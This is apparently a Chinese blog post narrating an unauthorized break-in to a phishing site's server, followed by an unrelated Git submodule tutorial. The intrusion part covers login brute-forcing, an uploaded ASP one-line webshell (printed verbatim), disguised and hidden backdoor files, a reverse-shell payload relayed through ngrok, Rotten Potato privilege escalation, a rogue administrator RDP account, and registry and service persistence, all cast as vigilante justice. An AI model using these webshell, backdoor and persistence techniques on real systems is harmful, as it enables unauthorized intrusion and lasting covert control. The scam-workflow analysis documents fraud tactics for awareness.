
front-home-index

emm……怎么说呢,有那味儿了,咋一看还真看不出来,模仿的还挺全(不过胆也确实大,政府网站都搞),然后看了下接口返回的头信息,发现使用的 Windows IIS 7.5 + ASP.NET 的服务:

front-home-headers

这个先记着,后面漏洞挖掘用得着,后面试了一圈发现页面都是空壳,只有那个办理入口的弹窗能跳转,跳转页面是:

front-apply-btn

描述的还挺全,好让大家都能对号入座,这里点下立即申请:

front-input-name-id

然后就开始了个人信息收集的一条龙服务,先是姓名和身份证号,另外,注意看旁边显示加载的 PNG 头图的名称,额难道这是开发者的疯狂暗示??这里随便输入条信息进去看看:

front-input-name-error

居然还有校验,打个断点看看源码逻辑:

front-input-name-breakpoint

一个号码校验都整的这么齐全,还真是费心了,不过前端的校验都是纸老虎,这里也不用什么偏方了,直接用开发者工具的源码编辑覆盖功能,直接给校验函数返回 true

front-input-name-override

然后校验通过,进入下一个步骤:

front-input-bank

这里是要收集银行卡号和密码以及绑定的手机号,唉,意图很明显,哪有打款转账还要对方密码的操作,这里也准备随便填下,银行卡校验用同样的方法绕过一下,不过在其中一个加载的脚本文件中发现了有意思的东西:

front-input-bank-js-source

开发者连源码中的调试数据都不删除,调的阿里支付的接口,正好借对方调试账号用一下下(再次证明了作为开发者,生产环境中代码移除注释的重要性=_=):

front-input-bank-amount

然后进入了下一个页面,再次收集姓名和证件号,以及银行卡余额(这里应该是对用户真实情况进行摸底以及其他未知操作),下意识查了自己的余额,唉果然这里连撒谎的勇气都没有 T_T,马上填完进入下一步吧:

front-input-bank-amount-value

front-submit-loading

然后页面会一直加载不断刷新,再无其他跳转,应该是给诈骗者提供操作的时间,那么网页的相关操作就暂时告一段落,大致了解了一些操作步骤,接下来探索一下其他方向;

0x02 漏洞挖掘

0x001 SQL 注入

信息收集差不多了,现在来逐个击破,先从最熟悉的网页端入手,前面审查页面时有不少提交表单和输入框,这些都是潜在的攻破点;挖掘技术哪家强,先祭出神器 Burp,拦截一下之前提交银行卡号密码的表单数据:

burp-form-field

然后对字段值进行简单注入尝试,检查报错信息:

burp-sql-inject-simple

没反应,应该是有基础校验,再换个:

burp-sql-inject-union-select

有反应,似乎看到了希望,虽然返回乱码了,应该是对方程序处理问题,不过看句式像是 SQL 报错,又接连试了几个,也是同样的返回,那么剩下的冗杂工作,就交给工具进行吧,掏出 sqlmap 跑一波:

cmd-sqlmap

后面换了几轮参数也没成功,应该是过滤机制比较周到,然后在测试另一个页面时,才发现了那段报错信息的原本含义:

burp-sql-inject-err-res

嗯还是太年轻,会错意了,应该是程序识别到了字段值中的 SQL 关键字;另外回想起之前扫描到服务可能隐含 TRACE 相关漏洞,测试了下,应该是服务端暂未支持:

burp-trace-method

然后又想了想,针对密码字段进行数据库表字段设计时,应该会考虑其字符位数低的特点,减少空间占用,因为这是银行卡密码,都知道是 6 位数字,这里传个大数看看有没有惊喜:

burp-post-mass-data

尴尬,是有惊无喜,应该是没有特别处理,直接反馈为服务端错误;后面又陆续换了几个页面,测试下来都没太大收获,场面又一度陷入僵局,只能又暂时转移战场;

0x002 Metasploit 渗透

终于到 Metasploit 出场了,蓄势待发,

msf-banner

先搜一下 IIS 的已知漏洞:

msf-search-iis

有不少,那就先调几个条件匹配的试一波,这里只放个示例,就不一一展示了:

msf-run-ektron

然后就是其他几个端口、服务,挨个测试一遍,也没有什么突破,看来补丁都打的挺全;目前又暂时陷入了死胡同,虽然 msf 还有不少模块可以利用,不过暂时不准备继续深入试探了,因为想起来还有另外一件重要的事情还没做;

0x003 站点目录枚举

站点目录扫描,这件重要的事怎么能少得了,可供选择的工具很多,如 dirbuster 等,这里我们使用 Burp SuiteEngagement tools 里的 Discovery content 工具,进行目录爆破:

burp-dirbus-menu

burp-dirbus-config

其内置的大量字典已经足够使用了,不过涉及网络请求,这个过程也是异常漫长,不过可以后台跑着,不影响做其他事,这里就直接贴一个扫描结果:

burp-dirbus-sitemap

直呼好家伙!不扫不知道,出来吓一跳,居然错过了这么多隐藏入口,小本本记下先,后续挨个探索,不过呢视线情不自禁地锁定到了名为 upload.asp 这个文件上,开发者这么明显的暗示就无需我多言了(ㄟ( ▔, ▔ )ㄏ);

burp-upload-get

直接访问没什么返回数据,难道是方法不对?换成 POST 表单文件数据再试试:

cmd-curl-upload-file

看来这样上传也没用,也许还要额外的校验参数之类的,上面不是刚扫了一堆没见过的页面嘛,现在回过头去挨个分析下页面源码看看,也许会有收获:

front-upload-source

果然,在其中一个页面中,发现了调用这个上传接口的表单,是个隐藏元素,结合页面内容,应该是用于收集用户上传的某些证件信息,身份证照片之类的,然后看了对应的 js 源码,果然存在一些校验和接口参数:

front-upload-js-fn

这里去分析调用这些函数再上传文件太费劲了,这不是个隐藏表单嘛,直接改下代码通过 UI 操作多轻松 (¬‿¬):

front-upload-show-form

样子虽然简陋了点,管他的,能跑起来就行了,上传个文件试试:

front-upload-done

然后再访问看看效果:

front-upload-access

好家伙,大写的激动!嘴角再度微微上扬,不过先冷静下,再试试有没有文件类型校验,服务是 ASP.NET 的,那就简单传个 asp 程序试试,下面的代码会在页面输出站点运行服务的名称:

<% response.write(Request.ServerVariables("SERVER_SOFTWARE")) %>

然后上传上去看看:

front-upload-asp-info

这……俺还能说什么呢,此时无声胜有声 $_$ ,不过这并不是终点,这只是一个良好的起点,一切才刚刚开始 (¬‿¬);

0x004 意外收获

其实网站目录中还有一个很让人在意,就是叫 jieliuzi 这个目录,虽然摸透了对象开发者喜欢汉语拼音命名的习惯,但是这个含义始终未能参透,连蒙带猜外加输入法都未得其解,甚至后面进去一探究竟后没没想明白 =_=,中华文化真是博大精深;不管了,看看页面访问结果:

front-jieliuzi-login

是个登录页,十分简洁,而且这其实是个 PC 站点页,骗子在某些方面也挺有情调的,这里不作展示是由于整图过于刺激(怎么说呢,额,这登录框真白),怕过不了审;另外,注意一下这个网页最上面的标题名,第一反应就是应该不会是简单的字面意思,听着也不像啥好词儿,为此专门去百度了一下:

front-whaling-meaning-1

front-whaling-meaning-2

em……又长见识了,原来诈骗也能是一门学问,再结合最开始那张二维码的来源(企业邮件),看来是这么个意思了,大家平时也都注意警惕一下;

随后试了下登录,没有验证码或超时超次数验证这些,并且也没挖掘到可利用的 SQL 注入点,这种情况就该 BurpIntruder 出场了,后台登录名一般都是 admin,密码就祭出 rockyou.txt 跑一波先:

burp-jieliuzi-intruder-config

burp-jieliuzi-intruder-running

这也是一个比较漫长的过程,不过一会儿之后再去看的时候就发现了变化:

burp-jieliuzi-intruder-sql-warn

需要留心的就是这里的返回数据长度,因为正常讲大部分试的密码都是错误的,服务器响应的数据大小也都是一样的,突然出现不一样的长度多半就出现了转机,这里看来是识别出了 sql 语句,和之前一样报错,然后看最上面那条:

burp-jieliuzi-intruder-find

整个列表中就这一条最特别,看返回也是 302 重定向,看来应该是密码对了跳转进页面了,然后看这密码,也是够随意的,看着简单,猜的时候谁又能想到呢,登录进去看看:

front-jieliuzi-order-list

front-jieliuzi-ip-list

……,唉,怎么说呢,应该是触目惊心吧,虽然数量没有一些媒体平台时不时报道那些的那么夸张,但也不是一个小数目了,而且每一处记录的银行卡账号、密码、身份证号、手机号、验证码、IP位置这些,都是近乎真实的;我不是正义的制裁者,也没有多少执行正义的力量,最多就热心的帮他们删个库再跑路,个人的力量太小了,所以这些还是都后面交给警察蜀黍处理吧,正义可能会迟到,但不会缺席。

0x03 获取权限

0x001 Get webshell

暂时先抛开题外话,上面进行到了文件上传这一步,文件上传可以意味着很多事情,可执行文件的上传便可以实现获取服务器的系统操作权限,当然这里的网页应用程序的相关权限一版很低,提权的事就是后话了;当前任务是拿下网站操作权限,即 webshell,继续走流程,先上传个简单的 asp 版一句话木马

<% execute(request("pass")) %>

然后就该 亮剑 了:

antsword-add-data-menu

antsword-add-data-detail

antsword-add-data-success

搞定,进去康康:

antsword-wwwroot-list

文件相关操作:

antsword-wwwroot-list-menu

antsword-file-edit

数据库相关操作(对应之前后台页面的展示数据):

antsword-db-bank

命令行终端相关操作:

antsword-cmd-home

甚至获取 Windows 系统信息:

antsword-cmd-systeminfo

好了,这不啥都有了,还要啥自行车,但也不能止步于此,虽然现在拥有了对这整个站点的操作权限,包括文件及数据库的增删改查等,但也不至于为了正义用爱发电,每日蹲点删库删站,我们的目标还在山的那边 (ง •_•)ง

0x002 Backdoor

俗话讲,要生于忧患,虽然现在入口打通了,但是凡事都要留一手(我更喜欢留多手),防止木马那天被管理员察觉并清理就尴尬了,所以找几个隐蔽的位置,再上传几个,比如平时几乎不被注意的 css 或图片等静态资源文件夹,js 库文件等,文件命名上也可以花点心思,模仿已有文件或者配置文件之类的,使人有一种一眼看上去是正常文件的幻觉(+_+);

antsword-backdoors

当然,还可以利用一种技术,简单讲就是 Windows 中我们熟知的隐藏文件,一般一些软件或系统的配置文件会通过这样的方式隐藏,防止普通用户误删改,查看也能简单,像下面这样勾选一些就都出来了:

antsword-explorer-hidden-file

所以我们这里可以通过 shell 命令把指定文件隐藏掉,使得其不会被轻易发现:

antsword-cmd-attrib

0x003 Get shell

目前我们获取到的还只是 webshell,虽然可以模拟执行终端命令,但是这些都是通过上传的 asp 后门程序执行的,就是说每步操作都会发起 http 请求,防止被平台记录,需要获取系统 shell,即上传系统可执行文件(如 .exe 文件,就是俗称的木马),至于如何生成,就需要 metasploit 再次登场了;

这里又涉及一些东西,getshell 的木马一般有两种,正向连接和反向连接,基础的认知可能是将程序上传至机器,然后运行就会后台监听某个端口,等待外部的连接,连上后就可以通过两端的交互达到控制系统,当然前提是系统防火墙没开或者允许该端口放行,而通常服务器都会开启防火墙并过滤端口,只放行指定的几个;

所以后面出现了第二种类型,反向连接,或者叫反弹 shell,简单讲就是第一种类型反转一下,不是目标机器等待我们连,而是我们外部的机器等待目标机器来连接,这解决了防火墙端口的限制,因为防火墙一般不会特意去限制出站端口,当然这种类型又增加了额外的限制,首先我们需要一台具有公网 IP 的机器,像平常这种连着 WiFi, 深埋于 n 层路由下的设备,基本可以放弃了(使用端口转发也需要运营商提供公网 IP),另外就是需要目前机器可访问公网,因为有些服务器考虑安全因为是在内外下的,用反向代理等方式传输流量,无法访问外网;

由于不清楚对方防火墙情况,先用反向连接看看,手边暂时没有公网机器,就先用 ngrok 转发一下端口流量,先启动服务:

cmd-ngrok-running

从之前收集的数据中得知,对方机器是 x64 Windows 系统,那么这里就直接用 msfvenom 生成对应的 payload(暂时先不考虑加密加壳这些,传上去看看是否被杀毒再说):

cmd-msfvenom-generate-api

reverse_tcp 是反向连接,bind_tcp 是正向连接,连接地址填 ngrok 提供的链接,端口填链接对应的,然后生成执行文件,最后上传到对方站点某个隐蔽的目录下:

antsword-upload-api

antsword-upload-api-success

然后在 msf 中启动监听程序,等待对方连接,地址填本地,端口填之前 ngrok 中设定的本地端口,使用的 pyaload 要和之前 msfvenom 中配置的一致,不然会连接失败;完成后,一旦目标上的程序启动,首先就会访问 ngrok 域名和对应端口,ngrok 服务再把传输数据转发到本地的监听端口中,数据就通过这一层中介进行双向传输:

msf-run-reverse-listener

然后在 webshell 中执行它:

antsword-cmd-run-api

antsword-cmd-list-api

运行成功,这是切换回 msf 一会后就会有所反应,表示连接成功:

msf-reverse-connected

现在再查看 ngrok 服务就回显示有一条连接,表示可以进行通信了:

cmd-ngrok-connected

现在连接成功进入的操作界面是 meterpreter,这是 metasploit 提供的有许多拓展功能的集成终端,类似于 cmd、shell,但是功能更强大,可以执行切换目录、获取系统信息、操作进程、上传下载文件、进一步渗透等操作,甚至在拿下 system 权限后,还能解锁控制鼠标键盘、屏幕截图或实时预览等高级功能,这里先查询下基础信息:

meter-getinfo

和之前的虚拟终端一样,当前操作用户是 IIS,当然这里想用 cmd 终端操作也是可以的,执行下 shell 命令进入系统 shell,操作和命令与系统命令提示符没有两样:

meter-shell-command-test

初次进入可能会出现中文字符乱码情况,因为 cmd 默认使用的字符集问题,手动切换成 UTF-8 的 65001 就行了,可能唯一不太方便的地方,就是没有集成历史记录的功能,要重试上个命令得全部重打一遍,毕竟是网络转发数据,不应要求太多:

0x004 Get system

如上面所讲,目前获取到的只是普通账户的 shell,虽然有一定的终端操作权限,但还是远远不够的,会有诸多限制,比如无法操作一些服务、增删系统账户、访问系统目录等等,那么接下来的操作就是 shell 提权了,或者叫 getsystem,这也是 meterpreter 中的一条命令,功能和描述一样,会尝试多种漏洞进行权限提升以获取 SYSTEM 权限,只不过试了下似乎都没有成功,只能另寻他法:

meter-getsystem-err

这里值得说的是,可能有小伙伴会有疑惑,认知中 Windows 系统中权限最高的不应该是超级管理员 Administrator 吗,为什么一直在强调获取 SYSTEM 账户权限,其实严格来讲,Administrator 账户虽然成为管理员,其实权限并不是最高的,也有很多它做不了的事,举个简单的例子就是删除系统账户 Guest

cmd-admin-del-guest

以及其他一些系统层面的事,administrator 也做不到,而这些高层次的操作都由 SYSTEM 账户来完成,虽然在账户设置里面从没见过它,但它是确确实实存在的:

explorer-system-account

就像网站服务其实也有个对应的 www 账户一样,应该没人曾经登录过它吧;

前面讲获取 system 权限使用 getsystem 不奏效,那么就继续试探一下其他路子,也就是令牌窃取,令牌指的登录令牌,类似登录网站要用的 cookies 或者 token,而 Windows 中存在两种令牌:Delegation Tokens(授权令牌) 和 Impersonation Tokens(模拟令牌),前者用于交互式的登录,如直接或使用远程桌面,输入账号密码登录进系统,而后者用于非交互式的会话中,访问网络驱动或其他域登录脚本程序;

这里要利用的正是模拟令牌,窃取的过程有些类似网站里的 cookies 窃取,由于令牌在重启系统之前,会一直被保留,所以有账户登陆过的话,其令牌有机会被冒充使用,而且有授权令牌登录的账户注销的话,令牌也会转化为模拟令牌,同时其原本的相关权力都会保留;

这里接下来就先使用 incognito(伪装、隐瞒的意思,偷盗者总是会先隐藏起来嘛)插件,进行令牌盗取,再用 list_token 命令查询当前能获取的令牌情况(数量因当前的 shell 权限而定):

meter-list-tokens

这里可以看到可盗取令牌的账户,要窃取的话就使用 impersonate_token 命令:

meter-impersonate-iusr

虽然可以窃取成功,但试了下这个账户的权限也不高,尝试性的试了下 system 账户也失败:

meter-impersonate-try-system

所以只能再尝试其他提权漏洞了,这里就先用 bg 命令把当前 meterpreter 会话切换至后台,回到 msf 界面,使用一个已知的 Rotten Potato 提权漏洞:

msf-use-rotten-potato

需要的唯一参数是会话 id,正好可以利用刚才的 meterpreter 会话,然后还需要设置一个 payload,这里之前有了解过,目前机器可以访问公网,而且虽然有使用防火墙过滤端口,但是似乎一直开着这么一群端口:

meter-netstat

这是远程 RPC 需要使用的一系列端口,所以盲猜机器会开放 49150-49160 这么一个范围的端口,那么就见缝插针,选一个没被占用的用于开启监听,这样就能直接使用正向连接了,而不用麻烦的再次使用反向连接:

msf-config-rotten-potato

地址填目标机器的地址,这样运行后就能自动连接到目标机器的监听端口上,这里先运行一下试试能不能成功:

msf-run-rotten-potato-success

哟西!竟然比想象中的顺利,就不多解释了,检查一下权限和令牌先:

msf-rotten-potato-getsystem-success

Nice,成过窃取到了 system 账户的令牌,以对方身份登录成过,接下来就可以试试权限了:

meter-shell-system-add-user

进入 shell 后账户确实变成了 SYSTEM,也能增加或删除账户了,那么至此,成过拿下系统最高权限,成功 getsystem;

0x005 权限测试

回想起前面有说过,高权限可以获取屏幕截图或者实式预览,那么这里来就看一下下:

meter-screenshot-saved

成功截图到了指定文件,打开看看:

meter-screenshot-view

虽然分辨率有点低,但大致是个登录界面的模样,然后实时预览看看,由于这个要启动图形服务,就在虚拟机里跑一下:

meter-screenshare

大晚上的,应该没啥人登录,,不过光是预览还不够,现在是可以直接远程登录进去的,只是需要额外的一些操作,先建立一个账户并分配管理员权限(即加入 Administrators 用户组),名字同样可以取得有一定迷惑性:

meter-add-user-sys

不过光是这样还仍没有远程登录的权限,需要将用户分配进远程桌面用户组才具有登录权限:

meter-add-sys-rdp

然后这里本来是要开启远程桌面服务的(TermService),结果查询发现是已经开启的,然后一路追踪到了服务对应的进程,进程对应的端口:

meter-shell-find-termservice

居然默认端口从 3386 改成了 10086,有意思,之前端口扫描默认常用端口,难怪没有扫出来,既然现在用户和密码都有了,登录进去看看:

rdp-connect-pannel

rdp-connecting

rdp-desktop-view

唉,都舍不得掏钱整台配置好一点的,一点都不懂得投资 ㄟ( ▔, ▔ )ㄏ,没意思,擦擦屁股溜了溜了(~ ̄▽ ̄)~;

0x005 System Backdoor

老规矩,任何阶段都需要留一手,并且现在 system 权限,因此只要留下后门那么再次连接就直接具有 system 权限,那么话不多说直接上传,文件名同样可以取得有一定迷惑性:

meter-upload-conf

然后配置程序开机启动:

meter-shell-reg-add

当然,要想再留一手就可以再创建个系统服务,只是生成的 payload 要用 service 类型的,不然会启动失败:

cmd-gen-payload-exe-service

然后上传后在目标机器创建服务,配置开机自启,也可以再额外配置启动失败后自动重启服务,或者最近调用执行其他程序,最后再手动启动一次服务:

meter-shell-sc-create

至此,大部分流程基本结束,拥有系统权限可以做更多的拓展渗透,这些都是后话;

0x04 套路分析

0x001 作案工具

目前为止一共收集到两个后台,一个宝塔面板和一个捕鲸系统后台,宝塔之前是由于有登录校验,没有获取到登录入口,现在就轻松了,用宝塔自带命令 bt default 查看一下默认入口和账号信息:

meter-baota-default

额……者用户名难道是要暗示自己输得起?待会用这个账号和密码登进去看看,另外在查看目录时,又发现了有意思的部分:

meter-baota-hosts-list

这里还列出了不少站点,难道现在诈骗也搞分布式作案了 ( $ _ $ ),或者微诈骗?算了后面有机会再去一锅端了,先登录进去看看:

front-baota-login-default

看了默认密码被换调了,虽然现在有权限能直接改掉密码,为了不打草惊蛇,就先放一放,反正进去也都是一些可视化服务器配置,毕竟现在服务器的系统权限都攥在手上呢,不必着急,主要先分析下另外一套系统,那才是骗子们的主要作案工具;

可以观察页面存在两列功能栏,分别罗列着骗子能远程执行的操作:

front-jieliuzi-func-1

front-jieliuzi-func-2

两列功能类似,只有个别区别,这里贴个图对比一下,感觉功能 2 应该是 1 的升级版,多加了几个功能,不过后面发现并不是这么简单,二者都能使用,这样是为了方便骗子连环套取用户信息:

front-jieliuzi-func-compare

0x002 诈骗流程

最前面的捕鲸邮件这些就不说了,就是邮箱盗号后广发邮件撒网罢了,现在主要来看下上面的一堆功能项,为了行骗过程操作方便,大部分功能应该都是字面意思,还记得最开始审查页面的时候,最后是停在了一个加载页上面,那么应该就是衔接这里的操作的,不同的功能项会触发不同的返回结果:

front-submit-loading

这里空讲可能没什么概念,功能汇总有十几二十 个,就挨个给大家实际演示一遍,从骗子的视角过一遍大致就能体会了,还是用之前的表单数据提交,然后这部触发不同的功能后回去看结果:

“未通过”

未通过就是上面的加载页面,是默认状态,也是处理不通过返回之前的中转页面;

“通过–杀它”

标记通过后会跳转提交验证码的页面,这里获取验证码只是个幌子,真实情况是骗子在向银行发起请求获取验证码,然后骗取用户提交:

front-res-1-pass-kill

“验证码超时失效,请返回重新获取(不显示金额)”

如果你这边操作慢了,导致骗子那边输入超时,就会提示让你重新操作获取提交一次(想的真周到=_=):

front-res-2-msg-timeout

“通过=【显示余额】”

只是不是有提供余额信息嘛,这里就提供用户确认再次骗取二维码(让人觉得像是银行正常查询出来的):

front-res-3-pass-show-amount

“余额查询”

如果骗子那边执行什么操作核实到金额不对时,就是提示用户重新填写正确金额:

front-res-4-amount-query-1

front-res-4-amount-query-2

“取款密码错误”

如果发现取款密码不对,也会重新让用户提供:

front-res-5-withdraw-passwd-wrong-1

front-res-5-withdraw-passwd-wrong-2

“手机号码错误”

然后是手机号:

front-res-6-phone-wrong-1

front-res-6-phone-wrong-2

“银行卡号错误”

银行卡号:

front-res-7-bank-wrong-1

front-res-7-bank-wrong-2

“身份证号错误”

姓名和身份证号:

front-res-8-name-id-wrong-1

front-res-8-name-id-wrong-2

“审核通过”

然后是审核通过,让你耐心等待结果(等待骗子把钱套走跑路 $_$):

front-res-9-pass-over

“不支持,请更换名下其他银行认证”

如果发现某些银行卡不太好利用,就会提示更换:

front-res-10-not-support-bank

“换【信用卡】”

换信用卡:

front-res-11-change-credit-card

“换【储蓄卡】”

换储蓄卡,反正对方为了达到目的,会反复榨干你的每一处积蓄,比大多数服务业都贴心……

front-res-12-change-debit-card

“有效期和后三位/错误”

然后这个是信用卡相关的信息,和密码一样重要,也要注意不要轻易透露出去:

front-res-13-change-valid-date-1

front-res-13-change-valid-date-2

“【建设银行】==获取授权码”

使用建设银行应该是需要额外的授权码,骗子也会想办法搞到手:

front-res-14-ccb-auth-code-1

front-res-14-ccb-auth-code-2

“【网银密码】”

如果存在网银,也会骗取登录密码进行远程套现:

front-res-15-input-ebank-passwd-1

front-res-15-input-ebank-passwd-2

“请保持银行卡内余额大于5000验证”

下面的就有意思了,如果骗子觉得你卡内金额太少(穷),就会提示你再多搞点过来:

front-res-16-need-account-5000

“请保持银行卡内余额大于10000验证”

或者骗子心情好,来个狮子大开口:

front-res-17-need-account-10000

“验证码超时失效,请返回重新获取(显示余额)”

然后这是验证码超时提示金额,和之前差不多:

front-res-18-msg-timeout-show-amount-1

front-res-18-msg-timeout-show-amount-2

“只支持工、平、浦、招、光储蓄卡”

这里本来应该是提示支持指定银行,不过……看来天下开发者总是有不同的环境,类似的处境,唉,同情那位仁兄3秒:

front-res-19-only-support-some-banks

“下载 apk 拦截马”

这里也一样,本来该骗用户下载安卓木马的,但似乎也还没准备好:

front-res-20-download-apk-trojan-1

front-res-20-download-apk-trojan-2

front-res-20-download-apk-trojan-3

“联系在线客服”

一样:

front-res-21-contact-online-service

“信息不一致,请返回从新填写正确的预留信息”

察觉用户输入信息不一致,重新填写:

front-res-22-info-inconsistent

“扣款–打枪”

这里也有意思,基本就是骗子已经从用户手上套现了,为了安抚民心,整这一大段话提示用户这是流程的基本操作,以及后续会返还之类的(信你个gui):

front-res-23-stole-money-1

front-res-23-stole-money-2

“【先回复打字,再设置此功能键】”

然后这是最后一项了,大致就是骗子自己编话术,然后返回提示用户:

front-res-24-self-define-reply-backend

front-res-24-self-define-reply

0x05 结语

正道的光可以迟到,但不能缺席,由于目前所收集的诈骗团伙相关信息还并不充分,后续会想办法陆陆续续收集,再交由警方处理 zhapian-jubao-online

最后呢,其实也并没有什么额外要说的,因为防骗或安全意识这些大道理,国家政府再到媒体个人,每天都在强调,稍微留心一下就行了,从这整个过程看来(攻克过程不重要,可以忽略),贬义的讲,骗子考虑业务场景还挺周到的,也有不少地方在利用人的弱点,就比如之前图中那些接近官方的环境和话语,大家还是得注意分辨;

然后就是最最重要的,因为那封邮件是一切的开端,注意提高账户密保和安全性是一方面,比如加个登录二次验证什么的,另一方面就是不要轻信任何信息,涉及链接或二维码这些的,即使来自身边熟悉的人,因为他们可能也只是受害者链上的一个节点而已。

country-fanzha

另外,额外宣传一波 (¬‿¬),国家出台的反诈中心APP,除了风险检测与线上举报外,更有相当多的真实案例公布更新,可下载备用。

☑️ ⭐

Git submodule 知识总结

概念

先引用 git 的官方定义描述:

A submodule is a repository embedded inside another repository. The submodule has its own history; the repository it is embedded in is called a superproject.

子模块(submodule)是一个内嵌在其他 git 仓库(父工程)中的 git 仓库,子模块有自己的 git 记录。

通常,如果一个仓库存在子模块,父工程目录下的 .git/modules/ 目录中会存在一个 git 目录,子模块的仓库目录会存在于父工程的仓库目录中,并且子模块的仓库目录中也会存在一个 .git 目录;

使用场景:

  • 想要在一个工程中使用另一个工程,但是那个工程包含了单独的提交记录,submodule 就可以实现在一个工程中引入另一个工程,同时保留二者的提交记录并且区分开来;目前 submodule 还能实现单独开发子工程,并且不会影响父工程,父工程可以在需要的时候更新子模块的版本;
  • 想要把一个工程拆分成多个仓库并进行集中管理,这可以用来实现 git 当前的限制,实现更细粒度的访问,解决当仓库过于庞大时所出现的传输量大、提交记录冗杂、权限分设等问题;

使用

新增子模块

向一个项目中添加子模块:

git submodule add https://github.com/yyy/xxx.git

之后会 clone 该子模块对应的远程项目文件到本地父项目目录下的同名文件夹中(./xxx/),父项目下也会多一个叫 .gitmodules 的文件,内容大致为:

[submodule "xxx"]
	path = xxx
	url = git@github.com:yyy/xxx.git

如果存在多个子模块,则会继续向该文件中追加与上面相同格式的内容;

同时父项目下的 .git 目录中也会新增 /modules/xxx/ 目录,里面的内容对应子模块仓库中原有的 .git 目录中的文件,此时虽然子模块目录下的 .git 依然存在,但是已经由一个文件夹变成了文件,内容为:

gitdir: ../.git/modules/xxx

即指向了父项目的 .git/modules/xxx 目录;如果运行 git config --list 查看项目的配置,也会发现多了类似下面两行的内容:

submodule.xxx.url=git@github.com:yyy/xxx.git
submodule.xxx.active=true

如果修改 submodule.xxx.url 的值,则会覆盖 .gitmodules 文件中对应的 url 值;

查看子模块

查看当前项目下的子模块:

git submodule

或者

git submodule status

输出:

70c316ecb7c41a5bdf8a37ff93bf866d3b903388 xxx (heads/master)

如果将父项目推送到远程仓库(如 Github),在网页浏览该项目时子模块所在的目录会多一个类似 @70c316e 的后缀,即上面查看子模块命令输出内容的 hash 值的前面部分,点击这个目录会跳转到这个子模块对应的仓库地址(另一个 url);

如果执行:

git submodule deinit

删除了子模块,则再次查看时输出会是这样的:

-70c316ecb7c41a5bdf8a37ff93bf866d3b903388 xxx

拉取子模块

如果要 clone 一个项目,并且包含其子模块的文件,则需要给 git clone 命令最后加上 --recurse-submodules 或者 --recursive 参数(否则只会下载一个空的子模块文件):

git clone https://github.com/yyy/xxx.git --recursive

当然,克隆时忘记了加这个参数,后续也有办法去拉取子模块的文件,首先执行:

git submodule init

这会初始化子模块相关配置,比如自动在 config 中加入下面两行内容:

submodule.xxx.url=git@github.com:yyy/xxx.git
submodule.xxx.active=true

然后执行:

git submodule update

就可以拉取到子模块仓库中的文件了,也可以将这两步命令合并为一步:

git submodule update --init

要拉取所有层层嵌套的子模块,则执行:

git submodule update --init --recursive

之前 clone 时加参数不过是自动执行初始化配置并拉取子模块(甚至嵌套的子模块)中的文件罢了;

命令默认拉取主分支master),想要修改这个默认拉取分支可以修改 .gitmodules 文件中子模块对应的 branch 值,或者执行:

git config submodule.xxx.branch dev

或者执行同时将配置写入文件,这样其他人拉取父项目也会获取该配置:

git config -f .gitmodules submodule.xxx.branch dev

更新子模块

拉取更新

获取子模块仓库的最新提交,同步远程分支的变更,可以直接在子模块目录下执行:

git pull

或者在父目录下执行:

git submodule update --remote

这里给 git submodule update 加上 --remote 是为了直接从子模块的当前分支的远程追踪分支获取最新变更,不加则是默认从父项目的 SHA-1 记录中获取变更;当有多个子模块时,该命令默认拉取所有子模块的变更,指定更新子模块 xxx 需要执行:

git submodule update --remote xxx

如果将修改子模块的相关变更推送到父项目的远程,其他人拉取代码时,只用 git pull 的话只会把子模块的相关修改拉取到父项目,具体变更并不会更新到子模块中,在父项目里执行:

git diff --submodule

Submodule xxx a6e2962..70c316e (rewind):
  < add file

注意子模块提交记录中前的 < 符号,表示变更未更新到子模块文件夹里,所以更新子模块变更需要执行:

git submodule update --init --recursive

或者直接在父项目拉取时同时更新子模块(需要子模块已经 init,否则仍然拉取不到文件):

git pull --recurse-submodules

分支切换

更新完子模块(git submodule update)后,虽然会将文件变更同步到子模块目录下,但是此时子模块并没有处于任何已有分支下,去子模块目录下检查一下分支就会发现:

git branch -vv

* (HEAD detached at 16d1b6b) 16d1b6b mod file
  master                     16d1b6b [origin/master] mod file

当前分支并不是 master,而是一个 detached 状态的编号分支,官方文档称为“游离的 HEAD”,虽然可以提交,但是并没有本地分支跟踪这些更改,意味着下次更新子模块就会丢失这些更改;

所以在子模块下开始开发前,需要先切换到某个已有分支或者创建新的分支,比如进入主分支:

git checkout master

分支合并

除了默认的分支同步更新操作,也可以执行其他类型的分支更新行为,比如 mergerebase 等;如将父项目中记录的子模块最新变更(分支是 submodule.xxx.branch 中配置的,默认主分支 mastermerge 到子模块的当前分支中,则执行:

git submodule update --remote --merge

rebase 到子模块当前分支则执行:

git submodule update --remote --rebase

注意事项

如果其他人修改了子模块的内容并提交了记录,父项目也提交并推送了远程仓库,但是子模块没有推送其对应的远程仓库, 那么其他人拉取父项目代码变更时没有问题,但是更新子模块时就会遇到下面的问题:

fatal: remote error: upload-pack: not our ref 16d1b6b94e3245f3a7fb4f43e5b6f44b14027fbb
Fetched in submodule path 'xxx', but it did not contain 16d1b6b94e3245f3a7fb4f43e5b6f44b14027fbb.
Direct fetching of that commit failed.

即由于其他人没有及时将子模块的提交 push 的子模块的远程仓库,我们本地父项目有了关于子模块最新的变更,但是在子模块的仓库中却找不到,就报错了,让对方在子模块下 push 一下这边再重新更新就行了;

为了避免制造这一不必要的麻烦,可以把在父项目中推送远程的命令替换为:

git push --recurse-submodules=check

这样如果子模块(与父项目记录的对应分支)存在未 push 的提交,就会报错,并且子模块有推送失败的,父项目也会推送失败;需要在推送父项目时自动推送未推送的子模块,则执行:

git push --recurse-submodules=on-demand

觉得每次手输太麻烦,就直接将其写入配置:

git config push.recurseSubmodules check

如果父项目中子模块的仓库地址(submodule.xxx.url)被其他协作者修改了,那么我们再更新子模块时就可能遇到问题,需要执行:

git submodule sync --recursive

同步完 url,然后再重新初始化更新:

git submodule update --int --recursive

删除子模块

在确认移除子模块前,需要先将其取消注册(unregister),即删除该子模块相关的配置文件(git config),比如要移除子模块 xxx,则执行:

git submodule deinit xxx

然后子模块的相关配置会被删除(.gitmodules.git/modules/xxx 中的配置会保留),子模块对应的目录也会被清空(子模块目录本身会保留),再运行 git submodule status 查看子模块则会输出:

-70c316ecb7c41a5bdf8a37ff93bf866d3b903388 xxx

前缀 - 表示该子模块已经被取消注册,可理解为暂时移除,想必官方这样做也是给我们提供反悔的余地,因为想要恢复刚才删除的子模块,重新执行 git submodule update --init xxx 就能重新初始子模块并拉取文件;

由于还有一些配置文件仍然被保留,所以想要彻底删除的话,需要继续手动删除这里配置文件,即:

  • 删除子模块对应的目录 xxx
  • 删除 .gitmoduls 中子模块 xxx 对应的区块配置;
